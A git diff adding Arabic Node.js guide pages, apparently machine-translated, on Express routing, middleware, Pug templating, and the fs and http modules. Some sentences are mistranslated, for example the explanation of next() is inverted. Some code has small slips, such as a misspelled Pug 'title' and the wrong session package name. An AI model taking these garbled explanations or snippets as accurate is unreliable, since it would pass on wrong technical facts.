+للتحقق مما إذا كان كل شيء مثبتًا بشكل صحيح ، يرجى فتح الجهاز ونوع:
+
+ `node --version 
+ v5.0.0 
+ npm --version 
+ 3.5.2 
+` 
+
+إذا كنت تحصل على رقم الإصدار بدلاً من خطأ ، فهذا يعني أنك قمت بتثبيت Node.js و npm بنجاح.
+
+## لماذا استخدام Expressjs؟
+
+قبل أن نبدأ بآلية استخدام Express كإطار للخلفية ، دعونا نستكشف أولاً لماذا يجب أن نفكر في استخدامه أو أسباب شعبيته.
+
+*   يتيح لك Express إنشاء تطبيقات ويب وتطبيقات متعددة للهواتف المحمولة والصفحات متعددة الصفحات. استخدام الواجهة الخلفية الشائعة الأخرى هو توفير واجهة برمجة التطبيقات لعميل (سواء كان على الويب أو الجوّال).
+*   يأتي مع محرك قالب افتراضي ، Jade الذي يساعد على تسهيل تدفق البيانات إلى بنية موقع ويب ويدعم محركات القوالب الأخرى.
+*   وهو يدعم MVC (Model-View-Controller) ، وهي بنية شائعة جدًا لتصميم تطبيقات الويب.
+*   إنها منصة مشتركة ولا تقتصر على أي نظام تشغيل معين.
+*   انها تستفيد على Node.js واحد مترابطة ونموذج غير متزامن.
+
+عندما نقوم بإنشاء مشروع باستخدام `npm` ، يجب أن يحتوي مشروعنا على ملف `package.json` .
+
+### خلق package.json
+
+يحتوي ملف JSON (تدوين كائن جافا سكريبت) على كل معلومات عن أي مشروع Express. عدد الوحدات النمطية المثبتة ، واسم المشروع ، والإصدار ، وغيرها من معلومات التعريف. لإضافة Expressjs كوحدة نمطية في مشروعنا ، نحتاج أولاً إلى إنشاء دليل مشروع ثم إنشاء ملف package.json.
+
+ `mkdir express-app-example 
+ cd express-app-example 
+ npm init --yes 
+` 
+
+سيؤدي هذا إلى إنشاء ملف `package.json` في جذر دليل المشروع. لتثبيت أي وحدة نمطية من `npm` نحتاج إلى وجود ملف `package.json` في هذا الدليل.
+
+ `{ 
+  "name": "express-web-app", 
+  "version": "0.1.0", 
+  "description": "", 
+  "main": "index.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "keywords": [], 
+  "license": "MIT" 
+ } 
+` 
+
+### تثبيت اكسبرس
+
+الآن لدينا ملف `package.json` ، يمكننا تثبيت Express عن طريق تشغيل الأمر:
+
+ `npm install --save express 
+` 
+
+يمكننا التأكد من أن Express قد تم تثبيته بشكل صحيح بطريقتين. أولاً ، سيكون هناك قسم جديد في ملف `package.json` يسمى `dependencies` التي يوجد تحتها Express الخاص بنا:
+
+ `{ 
+  "name": "express-web-app", 
+  "version": "0.1.0", 
+  "description": "", 
+  "main": "index.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "keywords": [], 
+  "license": "MIT", 
+  "dependencies": { 
+    "express": "4.16.0" 
+  } 
+ } 
+` 
+
+الطريقة الثانية هي أن مجلدًا جديدًا يسمى `node_modules` ظهر فجأة في جذر دليل مشروعنا. يخزن هذا المجلد الحزم التي نثبتها محليًا في مشروعنا.
+
+## بناء خادم مع اكسبرس
+
+لاستخدام حزمة التثبيت الخاصة بنا لإطار Express وإنشاء تطبيق خادم بسيط ، سنقوم بإنشاء الملف ، `index.js` ، في جذر دليل مشروعنا.
+
+ `const express = require('express'); 
+ const app = express(); 
+ 
+ app.get('/', (req, res) => res.send('Hello World!')); 
+ 
+ app.listen(3000, () => console.log('Example app listening on port 3000!')); 
+` 
+
+لبدء تشغيل الخادم ، انتقل إلى جهازك واكتب:
+
+ `node index.js 
+` 
+
+هذا سيبدأ الخادم. سوف يستمع هذا التطبيق الحد الأدنى على المنفذ 3000. نحن نقدم طلبا من خلال متصفحنا على `http://localhost:3000` وسوف يستجيب الخادم الخاص بنا مع `Hello World` حيث يكون المتصفح هو العميل وستظهر الرسالة هناك.
+
+يستخدم السطر الأول من الكود الخاص بنا الوظيفة `require` لتضمين الوحدة النمطية `express` . هذه هي الطريقة التي ندمج بها ونستخدم حزمة مثبتة من npm في أي ملف جافا سكريبت في مشروعنا. قبل أن نبدأ باستخدام Express ، نحتاج إلى تحديد مثيل منه الذي يعالج الطلب والاستجابة من الخادم إلى العميل. في حالتنا ، هو `app` المتغير.
+
+`app.get()` هي إحدى الوظائف التي تخبر الخادم ما يجب القيام به عند استدعاء طلب `get` على المسار المحدد. يحتوي على وظيفة رد اتصال `(req, res)` التي تستمع إلى كائن `req` للطلب الوارد وتستجيب وفقًا لذلك باستخدام كائن استجابة `res` . يتم توفير كل من `req` و `res` لنا من خلال إطار Express.
+
+يمثل الكائن `req` طلب HTTP ويحتوي على خصائص سلسلة طلب البحث والمعلمات والجسم ورؤوس HTTP. يمثل الكائن res استجابة HTTP التي يرسلها تطبيق Express عندما يتلقى طلب HTTP. في حالتنا ، نرسل رسالة نصية `Hello World` كلما تم تقديم طلب إلى الطريق `/` .
+
+وأخيرا، `app.listen()` هي وظيفة أن يبدأ الميناء والبلد المضيف، في حالتنا `localhost` للاتصالات للاستماع إلى الطلبات الواردة من العميل. يمكننا تحديد رقم المنفذ مثل `3000` .
+
+## تشريح تطبيق اكسبرس
+
+من المرجح أن تحتوي البنية النموذجية لملف خادم Express على الأجزاء التالية:
+
+**تبعيات**
+
+استيراد التبعيات مثل التعبير عن نفسه. يتم تثبيت هذه التبعيات باستخدام `npm` كما فعلنا في المثال السابق.
+
+**التجسيدات**
+
+هذه هي العبارات لإنشاء كائن. لاستخدام التعبير السريع ، يتعين علينا إنشاء متغير `app` منه.
+
+**تكوينات**
+
+هذه العبارات هي الإعدادات المعتمدة على التطبيقات المخصصة التي يتم تحديدها بعد عمليات instantiations أو المعرفة في ملف منفصل (المزيد عند مناقشة بنية المشروع) والمطلوبة في ملف الخادم الرئيسي.
+
+**الوسيطة**
+
+تحدد هذه الوظائف تدفق دورة الطلب-الاستجابة. يتم تنفيذها بعد كل طلب وارد. يمكننا أيضا تحديد وظائف وسيطة مخصصة. لدينا قسم عليها أدناه.
+
+**طرق**
+
+هي نقاط النهاية المحددة في خادمنا والتي تساعد على تنفيذ عمليات طلب عميل معين.
+
+**Bootstrapping الخادم**
+
+آخر ما يتم تنفيذه في خادم Express هو الدالة `app.listen()` التي تبدأ الخادم الخاص بنا.
+
+سنبدأ الآن في مناقشة الأقسام التي لم نناقشها من قبل.
+
+## التوجيه
+
+يشير التوجيه إلى كيفية استجابة تطبيق جانب الخادم لطلب العميل إلى نقطة نهاية معينة. تتكون نقطة النهاية هذه من URI (مسار مثل `/` أو `/books` ) وطريقة HTTP مثل GET و POST و PUT و DELETE وما إلى ذلك.
+
+يمكن أن تكون المسارات إما صفحات ويب قديمة جيدة أو نقاط نهاية REST API. في كلتا الحالتين ، يمكن تعريف بناء الجملة على أنه بناء مماثل لطريق ما على النحو التالي:
+
+ `app.METHOD(PATH, HANDLER); 
+` 
+
+تساعد أجهزة التوجيه في فصل المخاوف مثل نقاط النهاية المختلفة والحفاظ على الأجزاء ذات الصلة من شفرة المصدر معًا. يساعدون في بناء كود قابل للصيانة. يتم تعريف جميع الطرق قبل استدعاء الدالة `app.listen()` . في تطبيق Express النموذجي ، `app.listen()` آخر وظيفة يتم تنفيذها.
+
+### طرق التوجيه
+
+HTTP هو بروتوكول قياسي لعميل وخادم للاتصال. يوفر أساليب مختلفة للعميل لتقديم الطلب. يحتوي كل مسار على وظيفة hanlder على الأقل أو رد اتصال. تحدد وظيفة رد الاتصال هذه ما ستكون الاستجابة من الخادم لهذا المسار بعينه. على سبيل المثال ، يتم استخدام مسار `app.get()` لمعالجة طلبات GET وفي المقابل إرسال رسالة بسيطة كرد.
+
+ `// GET method route 
+ app.get('/', (req, res) => res.send('Hello World!')); 
+` 
+
+### مسارات التوجيه
+
+مسار التوجيه هو مزيج من طريقة طلب لتعريف نقاط النهاية التي يمكن أن يقوم بها العميل بواسطة الطلبات. يمكن أن تكون مسارات المسارات عبارة عن سلاسل أو أنماط سلسلة أو تعبيرات عادية.
+
+دعنا نحدد نقطتي نهايتين أخريين في تطبيقنا القائم على الخادم.
+
+ `app.get('/home', (req, res) => { 
+  res.send('Home Page'); 
+ }); 
+ app.get('/about', (req, res) => { 
+  res.send('About'); 
+ }); 
+` 
+
+ضع في اعتبارك الشفرة الموضحة أعلاه كحد أدنى لموقع الويب الذي يحتوي على نقطتي نهايتين ، و `/about` أو `/home` و `/about` . إذا قدم العميل طلبًا للصفحة الرئيسية ، فسيتم الرد فقط مع `Home Page` وسيقوم `/about` بإرسال الاستجابة: `About Page` . نحن نستخدم وظيفة `res.send` لإرسال السلسلة مرة أخرى إلى العميل في حالة تحديد أي من الطريقتين المحددتين.
+
+### معلمات التوجيه
+
+تسمى معلمات المسار شرائح عناوين URL التي يتم استخدامها لالتقاط القيم المحددة في موضعها في عنوان URL. يتم استخدام كائن `req.params` في هذه الحالة لأنه لديه حق الوصول إلى جميع المعلمات التي تم تمريرها في عنوان url.
+
+ `app.get('/books/:bookId', (req, res) => { 
+  res.send(req.params); 
+ }); 
+` 
+
+سيكون عنوان URL من العميل الوارد في شفرة المصدر أعلاه `http://localhost:3000/books/23` . يجب أن يتكون اسم معلمات المسار من أحرف (\[A-Za-z0-9\_\]). حالة استخدام عامة جدًا لمعلمة توجيه في طلبنا هي الحصول على مسار 404.
+
+ `// For invalid routes 
+ app.get('*', (req, res) => { 
+  res.send('404! This is an invalid URL.'); 
+ }); 
+` 
+
+إذا بدأنا الآن الخادم من سطر الأوامر باستخدام `node index.js` وحاول زيارة عنوان URL: `http://localhost:3000/abcd` . ردا على ذلك ، سوف نحصل على رسالة 404.
+
+## وظائف الوسيطة
+
+وظائف الوسيط هي الدوال التي لها حق الوصول إلى كائن الطلب ( `req` ) ، وكائن الاستجابة ( `res` ) ، والوظيفة `next` في دورة طلب-استجابة التطبيق. الهدف من هذه الوظائف هو تعديل كائنات الطلب والاستجابة للمهام مثل تحليل جهات الطلب ، وإضافة رؤوس الاستجابة ، وإجراء تغييرات أخرى على دورة الطلب-الاستجابة ، ووضع حد لدورة طلب-الاستجابة ، واستدعاء وظيفة الوسيطة التالية.
+
+الوظيفة `next` هي وظيفة في جهاز التوجيه السريع الذي يتم استخدامه لتنفيذ وظائف وسيطة أخرى تنجح في الوسيطة الحالية. إذا كانت وظيفة الوسيطة تتضمن `next()` فهذا يعني أن دورة طلب الرد منتهية هناك. إن اسم الوظيفة `next()` هنا هو نظام تحكيم تمامًا ويمكنك تسمية أي شيء تريده ولكن من المهم الالتزام بأفضل الممارسات ومحاولة اتباع بعض الاتفاقيات ، خاصةً إذا كنت تعمل مع مطورين آخرين.
+
+أيضا ، عند كتابة البرامج الوسيطة المخصصة لا تنس أن تضيف الدالة `next()` إليها. إذا كنت لا أذكر `next()` فإن دورة الطلب-الاستجابة ستعلق في أي مكان من أي مكان وقد تتسبب servr في إراحة العميل.
+
+دعونا نستخدم أداة وسيطة مخصصة لفهم فهم هذا المفهوم. خذ هذا الرمز على سبيل المثال:
+
+ `const express = require('express'); 
+ const app = express(); 
+ 
+ // Simple request time logger 
+ app.use((req, res, next) => { 
+   console.log("A new request received at " + Date.now()); 
+ 
+   // This function call tells that more processing is 
+   // required for the current request and is in the next middleware 
+   function/route handler. 
+   next(); 
+ }); 
+ 
+ app.get('/home', (req, res) => { 
+  res.send('Home Page'); 
+ }); 
+ 
+ app.get('/about', (req, res) => { 
+  res.send('About Page'); 
+ }); 
+ 
+ app.listen(3000, () => console.log('Example app listening on port 3000!')); 
+` 
+
+لإعداد أي برامج وسيطة ، سواء كانت مخصصة أو متوفرة كوحدة نمطية في npm ، نستخدم وظيفة `app.use()` . إنها كقاعدة معلمة اختيارية واحدة واستدعاء واحد للمعلمة الإلزامية. في حالتنا ، نحن لا نستخدم مسار paramaeter اختياري.
+
+ `app.use((req, res, next) => { 
+  console.log('A new request received at ' + Date.now()); 
+  next(); 
+ }); 
+` 
+
+يتم استدعاء الدالة الوسيطة أعلاه لكل طلب يقدمه العميل. عند تشغيل الخادم ، ستلاحظ أنه بالنسبة لكل طلب متصفح في نقطة النهاية `/` ، ستتم مطالبتك برسالة في جهازك:
+
+ `A new request received at 1467267512545 
+` 
+
+يمكن استخدام وظائف الوسيطيات لمسار معين. انظر المثال أدناه:
+
+ `const express = require('express'); 
+ const app = express(); 
+ 
+ //Simple request time logger for a specific route 
+ app.use('/home', (req, res, next) => { 
+  console.log('A new request received at ' + Date.now()); 
+  next(); 
+ }); 
+ 
+ app.get('/home', (req, res) => { 
+  res.send('Home Page'); 
+ }); 
+ 
+ app.get('/about', (req, res) => { 
+  res.send('About Page'); 
+ }); 
+ 
+ app.listen(3000, () => console.log('Example app listening on port 3000!')); 
+` 
+
+في هذه المرة ، سترى مطالبة مشابهة فقط عندما يطلب العميل نقطة النهاية `/home` منذ الإشارة إلى المسار في `app.use()` . لن يتم عرض أي شيء في المحطة عندما يطلب العميل نقطة النهاية `/about` .
+
+يعد ترتيب وظائف الوسيط أمرًا هامًا حيث إنها تحدد وقت استدعاء الوظيفة الوسيطة. في المثال أعلاه ، إذا قمنا بتعريف مسار `app.get('/home')...` قبل `app.use('/home')...` الوسيطة `app.use('/home')...` ، فلن يتم استدعاء وظيفة الوسيطة.
+
+### وظائف الوسيط الخارجية للطرف الثالث
+
+وظائف الوسيط هي نمط مفيد يسمح للمطورين بإعادة استخدام الكود داخل تطبيقاتهم وحتى مشاركتها مع الآخرين في شكل وحدات ذاكرة حديثة. التعريف الأساسي للوسيط هو دالة ذات ثلاث حجج: طلب (أو req) ، استجابة (res) ، وبعد ذلك نحن المراقب في القسم السابق.
+
+في كثير من الأحيان في تطبيق الخادم المعتمد لدينا ، سنستخدم وظائف وسيطة من طرف ثالث. يتم توفير هذه الوظائف بواسطة Express نفسها. فهي مثل الإضافات التي يمكن تثبيتها باستخدام npm وهذا هو السبب في أن Express هي مرنة.
+
+بعض وظائف الوسيطة الأكثر شيوعًا في تطبيق Express هي:
+
+#### bodyParser
+
+يسمح للمطورين بمعالجة البيانات الواردة ، مثل حمولة الجسم. الحمولة هي البيانات التي نتلقاها من العميل حتى تتم معالجتها. الأكثر فائدة مع طرق POST. يتم تثبيته باستخدام:
+
+ `npm install --save body-parser 
+` 
+
+الاستعمال:
+
+ `const bodyParser = require('body-parser'); 
+ 
+ // To parse URL encoded data 
+ app.use(bodyParser.urlencoded({ extended: false })); 
+ 
+ // To parse json data 
+ app.use(bodyParser.json()); 
+` 
+
+من المحتمل أنها واحدة من أكثر استخدامات الوسيطة من طرف ثالث في أي تطبيق اكسبرس.
+
+#### cookieParser
+
+يوزع رأس ملف تعريف الارتباط `req.cookies` مع كائن مرتبط بأسماء ملفات تعريف الارتباط. لتثبيته ،
+
+ `$ npm install --save cookie-parser 
+` 
+
+ `const cookieParser = require('cookie-parser'); 
+ app.use(cookieParser()); 
+` 
+
+#### جلسة
+
+تقوم وظيفة الوسيطة هذه بإنشاء وسيط جلسة مع خيارات محددة. غالبًا ما يتم استخدام جلسة في تطبيقات مثل تسجيل الدخول / التسجيل.
+
+ `$ npm install --save session 
+` 
+
+ `app.use( 
+  session({ 
+    secret: 'arbitary-string', 
+    resave: false, 
+    saveUninitialized: true, 
+    cookie: { secure: true } 
+  }) 
+ ); 
+` 
+
+### مورغان
+
+يقوم البرنامج الوسيط مورغان بتتبع جميع الطلبات وغيرها من المعلومات المهمة اعتمادًا على تنسيق الإخراج المحدد.
+
+ `npm install --save morgan 
+` 
+
+ `const logger = require('morgan'); 
+ // ... Configurations 
+ app.use(logger('common')); 
+` 
+
+`common` هو حالة تنسيق مسبق يمكن استخدامها في التطبيق. هناك تنسيقات أخرى محددة مسبقًا مثل صغيرة ومبتكر ، ولكن يمكنك تحديد أنك تملك تنسيقًا مخصصًا أيضًا باستخدام معلمات السلسلة المتوفرة لنا من قِبل morgan.
+
+تتوفر قائمة بالوظائف الوسيطة الأكثر استخدامًا على هذا [الرابط](https://expressjs.com/en/resources/middleware.html) .
+
+## خدمة الملفات الثابتة
+
+لتقديم ملفات ثابتة مثل صفحات الأنماط CSS ، والصور ، إلخ. يوفر Express وظيفة `express.static` في البرامج الوسيطة `express.static` . الملفات الثابتة هي تلك الملفات التي يقوم العميل بتنزيلها من الخادم.
+
+هي وظيفة الوسيطة الوحيدة التي تأتي مع إطار Express ويمكننا استخدامها مباشرة في طلبنا. جميع الوسطاء الآخرين هم طرف ثالث.
+
+بشكل افتراضي ، لا يسمح Express بخدمة الملفات الثابتة. علينا استخدام هذه الوظيفة الوسيطة. من الممارسات الشائعة في تطوير تطبيق الويب هو تخزين جميع الملفات الثابتة تحت الدليل "العام" في جذر المشروع. يمكننا تقديم هذا المجلد لخدمة ملفات ثابتة تتضمن الكتابة في ملف `index.js` :
+
+ `app.use(express.static('public')); 
+` 
+
+الآن ، سيتم تحميل الملفات الثابتة في دليلنا العام.
+
+ `http://localhost:3000/css/style.css 
+ http://localhost:3000/images/logo.png 
+ http://localhost:3000/images/bg.png 
+ http://localhost:3000/index.html 
+` 
+
+### أدلة ثابتة متعددة
+
+لاستخدام العديد من دلائل الأصول الثابتة ، اتصل بوظيفة الوسيطة `express.static` عدة مرات:
+
+ `app.use(express.static('public')); 
+ app.use(express.static('files')); 
+` 
+
+### المسار الافتراضي البادئة
+
+يمكن أيضًا توفير بادئة مسار الإصلاح كوسيطة أولى للدالة الوسيطة `express.static` . يُعرف هذا _بادئة مسار افتراضي_ لأن المسار الفعلي غير موجود في المشروع.
+
+ `app.use('/static', express.static('public')); 
+` 
+
+إذا حاولنا الآن تحميل الملفات:
+
+ `http://localhost:3000/static/css/style.css 
+ http://localhost:3000/static/images/logo.png 
+ http://localhost:3000/static/images/bg.png 
+ http://localhost:3000/static/index.html 
+` 
+
+هذه التقنية تأتي في متناول اليدين عند توفير أدلة متعددة لخدمة ملفات ثابتة. يتم استخدام البادئات للمساعدة في التمييز بين الدلائل المتعددة.
+
+## محركات قالب
+
+محركات القوالب هي مكتبات تسمح لنا باستخدام لغات القوالب المختلفة. لغة القالب هي مجموعة خاصة من التعليمات (بناء الجملة وهياكل التحكم) التي توجه المحرك إلى كيفية معالجة البيانات. استخدام محرك قالب سهل مع Express. محركات القوالب الشعبية مثل Pug و EJS و Swig و Handlebars متوافقة مع Express. ومع ذلك ، Express يأتي بمحرك قالب افتراضي ، Jade ، وهو الإصدار الأول من Pug.
+
+لشرح كيفية استخدام "محرك القوالب" ، سنستخدم Pug. إنه محرك قالب قوي يوفر ميزات مثل الفلاتر ، ويشمل ، الاستيفاء ، وما إلى ذلك. لاستخدامها ، يجب علينا أولاً تثبيت كوحدة نمطية في مشروعنا باستخدام `npm` .
+
+ `npm install --save pug 
+` 
+
+سيقوم هذا الأمر بتثبيت الصلصة وللتحقق من تثبيتها بشكل صحيح ، فقط ألقي نظرة على ملف `package.json` . لاستخدامه مع تطبيقنا أولاً ، يجب علينا تعيينه كمحرك قالب وإنشاء دليل جديد ".views" حيث سنقوم بتخزين كافة الملفات المتعلقة بمحرك القالب الخاص بنا.
+
+ `app.set('view engine', 'pug'); 
+ app.set('views', './views'); 
+` 
+
+بما أننا نستخدم `app.set()` الذي يشير إلى التكوين داخل ملف الخادم الخاص بنا ، يجب أن `app.set()` قبل تحديد أي مسار أو وظيفة وسيطة.
+
+في direcotry `views` ، قم بإنشاء ملف يسمى `index.pug` .
+
+ `doctype html 
+  html 
+    head 
+      tite="Hello from Pug" 
+    body 
+      p.greetings Hello World! 
+` 
+
+لتشغيل هذه الصفحة ، سنقوم بإضافة الطريق التالي إلى طلبنا.
+
+ `app.get('/hello', (req, res) => { 
+  res.render('index'); 
+ }); 
+` 
+
+نظرًا لأننا قمنا بالفعل بتعيين `res.render` كمحرك القالب الخاص بنا ، فإننا في `res.render` لا نحتاج إلى توفير ملحق `.pug` . تعرض هذه الوظيفة الكود في أي ملف `.pug` إلى HTML `.pug` العميل. يمكن للمتصفحات تقديم ملفات HTML فقط. إذا قمت بتشغيل الخادم الآن ، وقمت بزيارة المسار `http://localhost:3000/hello` فسوف تشاهد إخراج `Hello World` بشكل صحيح.
+
+في Pug ، يجب أن تلاحظ أننا لا نحتاج إلى كتابة علامات الإغلاق إلى العناصر كما نفعل في HTML. سيتم تقديم الكود السابق في HTML على النحو التالي:
+
+ `
+<!DOCTYPE html> 
+ <html> 
+   <head> 
+      <title>Hello from Pug</title> 
+   </head> 
+ 
+   <body> 
+      <p class = "greetings">Hello World!</p> 
+   </body> 
+ </html> 
+` 
+
+ميزة استخدام "محرك القوالب" على ملفات HTML الخام هو أنها توفر الدعم لتنفيذ المهام عبر البيانات. لا يمكن لـ HTML تقديم البيانات مباشرة. تشترك الأطر مثل Angular و React في هذا السلوك مع محركات القوالب.
+
+يمكنك أيضًا تمرير القيم إلى محرك القالب مباشرةً من وظيفة معالج التوجيه.
+
+ `app.get('/', (req, res) => { 
+  res.render('index', { title: 'Hello from Pug', message: 'Hello World!' }); 
+ }); 
+` 
+
+للحالة أعلاه ، سيتم كتابة ملف `index.pug` بنا على النحو التالي:
+
+ `doctype html 
+  html 
+    head 
+      title= title 
+    body 
+      h1= message 
+` 
+
+سيكون الإخراج نفس الحالة السابقة.
+
+## هيكل المشروع لتطبيق Express
+
+نظرًا لأن Express لا يفرض الكثير على مطور البرامج الذي يستخدمه ، فإنه في بعض الأحيان يمكن أن يتغلب على هيكل المشروع الذي يجب أن يتبعه المرء. ليس له بنية محددة بشكل رسمي ولكن حالة الاستخدام الأكثر شيوعًا التي يتبعها أي تطبيق يستند إلى Node.js هي فصل المهام المختلفة في وحدات مختلفة. هذا يعني أن يكون لديك ملفات JavaScript منفصلة.
+
+دعونا نذهب من خلال strucutre نموذجي لتطبيق ويب عبر الإنترنت.
+
+ `project-root/ 
+   node_modules/          // This is where the packages installed are stored 
+   config/ 
+      db.js                // Database connection and configuration 
+      credentials.js       // Passwords/API keys for external services used by your app 
+      config.js            // Environment variables 
+   models/                 // For mongoose schemas 
+      books.js 
+      things.js 
+   routes/                 // All routes for different entities in different files 
+      books.js 
+      things.js 
+   views/ 
+      index.pug 
+      404.pug 
+        ... 
+   public/                 // All static files 
+      images/ 
+      css/ 
+      javascript/ 
+   app.js 
+   routes.js               // Require all routes in this and then require this file in 
+   app.js 
+   package.json 
+` 
+
+هذا هو النمط المعروف باسم MVC ، عارض عرض نموذج. ببساطة لأن نموذج قاعدة البيانات ، واجهة المستخدم الخاصة بالتطبيق ووحدات التحكم (في حالتنا ، الطرق) مكتوبة ومحفوظة في ملفات منفصلة. نمط التصميم هذا الذي يجعل أي تطبيق ويب سهل القياس إذا كنت ترغب في تقديم المزيد من المسارات أو الملفات الثابتة في المستقبل والرمز قابل للصيانة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/nodejs/file-system/index.md b/client/src/guide/arabic/nodejs/file-system/index.md
new file mode 100644
index 0000000000..3721ef7341
--- /dev/null
+++ b/client/src/guide/arabic/nodejs/file-system/index.md
@@ -0,0 +1,79 @@
+##localeTitle: undefined
+ نظام الملفات
+
+تسمح لك وحدة نظام الملفات Node.js بالعمل مع نظام الملفات على جهاز الكمبيوتر الخاص بك.
+
+يحتوي Node.js على مجموعة من الوحدات المضمنة التي يمكنك استخدامها بدون أي تثبيت إضافي. وبالمثل ، تحتوي **وحدة نظام الملفات** على مجموعة من الوظائف المطلوبة لأداء عمليات مختلفة على الملفات مثل القراءة والكتابة.
+
+من أجل تضمين وحدة نمطية ، استخدم الدالة `require()` مع اسم الوحدة.
+
+ `const fs = require('fs'); 
+` 
+
+الاستخدام الشائع لوحدة نظام الملفات:
+
+*   قراءة الملفات
+*   إنشاء ملفات
+*   تحديث الملفات
+*   حذف الملفات
+*   إعادة تسمية الملفات
+
+## قراءة ملف
+
+يتم استخدام الأسلوب `fs.readFile()` لقراءة الملف على جهاز الكمبيوتر الخاص بك. يستغرق ثلاث حجج - اسم الملف ، الترميز ووظيفة معاودة الاتصال.
+
+رمز Node.js لقراءة الملف من جهاز الكمبيوتر وإرجاع المحتوى إلى وحدة التحكم.
+
+ `const fs = require('fs'); 
+ fs.readFile('input.txt', 'utf-8', (err, data) => { 
+  if(err){ 
+  console.log(err); 
+  } 
+  else{ 
+  console.log("Content present in input.txt file : " + data.toString()); 
+  } 
+ }); 
+` 
+
+يقرأ الكود أعلاه ملف _input.txt_ من جهاز الكمبيوتر ويعيد المحتوى إلى وحدة التحكم.
+
+### خطوات التنفيذ:
+
+*   يجب أن يكون لديك Node.js مثبتًا في جهاز الكمبيوتر الخاص بك.
+*   قم بإنشاء ملف _app.js_ وقم بلصق الكود أعلاه.
+*   قم بإنشاء ملف _input.txt_ واكتب بعض المحتويات فيه.
+*   الآن افتح وحدة التحكم الخاصة بك في دليل العمل وتنفيذ `node app.js` الأوامر `node app.js`
+
+_ملاحظة_ : يجب أن يكون ملف input.txt موجودًا في نفس الدليل حيث يوجد ملف شفرة Node.js الخاص بك ، وإلا فسيتم إلقاء خطأ.
+
+## الكتابة في ملف
+
+`fs.writeFile()` ثلاث وسائط - اسم الملف والمحتوى ووظيفة معاودة الاتصال.
+
+رمز Node.js لكتابة المحتوى في ملف.
+
+ `const fs = require('fs'); 
+ fs.writeFile('output.txt', "New content added", (err, data) => { 
+    if(err){ 
+        console.log(err); 
+    } 
+    else{ 
+        console.log("The file is saved"); 
+    } 
+ }); 
+` 
+
+تعمل الشفرة الموضحة أعلاه على إنشاء ملف _output.txt_ ومحتوى إضافة محتوى _جديد تمت إضافته_ إليه.
+
+### خطوات التنفيذ:
+
+*   يجب أن يكون لديك Node.js مثبتًا في جهاز الكمبيوتر الخاص بك.
+*   قم بإنشاء ملف _app.js_ وقم بلصق الكود أعلاه.
+*   الآن افتح وحدة التحكم الخاصة بك في دليل العمل وتنفيذ `node app.js` الأوامر `node app.js`
+
+_ملاحظة_ : إذا كان الملف غير موجود ، فإن الطريقة `fs.writeFile()` تنشئ ملفًا وتكتب المحتوى فيه. على العكس من ذلك ، إذا كان الملف موجودًا ، فسيقوم بالكتابة فوق المحتوى الموجود في الملف.
+
+## مصادر
+
+*   [Node.js API](https://nodejs.org/api/fs.html#fs_file_system)
+*   [مدارس W3](https://www.w3schools.com/nodejs/nodejs_filesystem.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/nodejs/http/index.md b/client/src/guide/arabic/nodejs/http/index.md
new file mode 100644
index 0000000000..b204f2efbe
--- /dev/null
+++ b/client/src/guide/arabic/nodejs/http/index.md
@@ -0,0 +1,41 @@
+##localeTitle: undefined
+ HTTP
+
+يحتوي Node.js على مجموعة من الوحدات المضمنة التي يمكنك استخدامها بدون أي تثبيت إضافي. وبالمثل ، تحتوي **وحدة HTTP** على مجموعة من الوظائف المطلوبة لنقل البيانات عبر بروتوكول نقل النص التشعبي (HTTP).
+
+يمكن لوحدة HTTP إنشاء خادم HTTP يستمع إلى منافذ الخادم ويعطي استجابةً إلى العميل.
+
+من أجل تضمين وحدة نمطية ، استخدم الدالة `require()` مع اسم الوحدة.
+
+ `const http = require('http'); 
+` 
+
+## Node.js كملقم ويب
+
+يتم استخدام الأسلوب `createServer()` لإنشاء خادم HTTP. الوسيطة الأولى من أسلوب `res.writeHead()` هي رمز الحالة ، `200` يعني أن كل شيء على ما يرام ، والوسيطة الثانية هي كائن يحتوي على رؤوس الاستجابة.
+
+ `const http = require('http'); 
+ 
+ //create a server object: 
+ http.createServer((req, res) => { 
+  res.writeHead(200, {'Content-Type': 'text/plain'}); 
+  res.write('Hello World!'); //write a response to the client 
+  res.end(); //end the response 
+ }).listen(8000); //the server object listens on port 8000 
+ 
+ console.log("Server is listening on port no : 8000"); 
+` 
+
+### خطوات التنفيذ:
+
+*   يجب أن يكون لديك Node.js مثبتًا في جهاز الكمبيوتر الخاص بك.
+*   قم بإنشاء ملف _app.js_ وقم بلصق الكود أعلاه.
+*   الآن افتح وحدة التحكم الخاصة بك في دليل العمل وتنفيذ `node app.js` الأوامر `node app.js`
+*   افتح المتصفح وأدخل `http://localhost:8000`
+
+_ملاحظة:_ لإغلاق الخادم ، اضغط على `ctrl + C` في وحدة التحكم الخاصة بك لمستخدمي Windows.
+
+## مصادر
+
+*   [Node.js API](https://nodejs.org/api/http.html#http_http)
+*   [مدارس W3](https://www.w3schools.com/nodejs/nodejs_http.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/nodejs/index.md b/client/src/guide/arabic/nodejs/index.md
new file mode 100644
index 0000000000..56401a7a11
--- /dev/null
+++ b/client/src/guide/arabic/nodejs/index.md
@@ -0,0 +1,54 @@
+---
+title: Node.js
+localeTitle: نود.جي إس
+---
+## نود.جي إس
+
+Node.js هو وقت تشغيل جافا سكريبت مبني على محرك جافا سكريبت V8 من Chrome. تستخدم Node.js نموذج I / O غير معتمد على الحدث ، مما يجعله خفيف الوزن وفعالاً. النظام البيئي لحزمة Node.js ، npm ، هو أكبر نظام من مكتبات المصادر المفتوحة في العالم.
+
+#### دعونا كسرها.
+
+*   وقت تشغيل جافا سكريبت مبني على محرك جافا سكريبت V8 من Chrome.  
+    يحتوي كل متصفح على مشغل JavaSript مضمن لمعالجة ملفات JavaScript المضمنة في مواقع الويب. يستخدم Google Chrome محرك V8 الذي تم إنشاؤه باستخدام C ++. تستخدم Node.js أيضًا هذا المحرك الفائق السرعة لترجمة ملفات JavaScript.
+*   يستخدم Node.js نموذجًا يعتمد على الحدث.  
+    هذا يعني أن Node.js ينتظر حدوث بعض الأحداث. ثم تعمل على تلك الأحداث. يمكن أن تكون الأحداث أي شيء من نقرة إلى طلب HTTP. يمكننا أيضًا الإعلان عن الأحداث المخصصة الخاصة بنا وجعل node.js يستمع إلى تلك الأحداث.
+*   يستخدم Node.js نموذج I / O غير مقيد.  
